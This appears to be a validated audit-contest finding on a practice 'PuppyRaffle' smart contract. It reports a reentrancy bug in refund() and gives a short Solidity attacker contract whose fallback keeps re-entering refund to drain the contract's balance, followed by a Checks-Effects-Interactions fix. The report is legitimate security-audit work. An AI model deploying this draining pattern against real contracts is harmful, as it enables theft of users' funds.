Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in Refund Function

Summary

There is a re-entrancy vulnerability in refund function, that can be used to drain the whole contract.

Vulnerability Details

Re-entrancy issue in refund function, if someone writes an attacker contract and register it as a player, then that contract can be used to re-enter as refund function sends the value to player leading to giving transaction flow control before the after effects.

Impact

Funds can be drained from contract

Tools Used

Manual Tests

Wrote a attacker contract and used that to drain the contract

contract Attacker {
PuppyRaffle private puppyRaffle
constructor (address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function attack () public {
puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(address(this)));
}
fallback () payable external {
if (address(puppyRaffle).balance != 0)
attack();
}
}

Recommendations

Use Checks-Effects-Interactions pattern in refund function

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.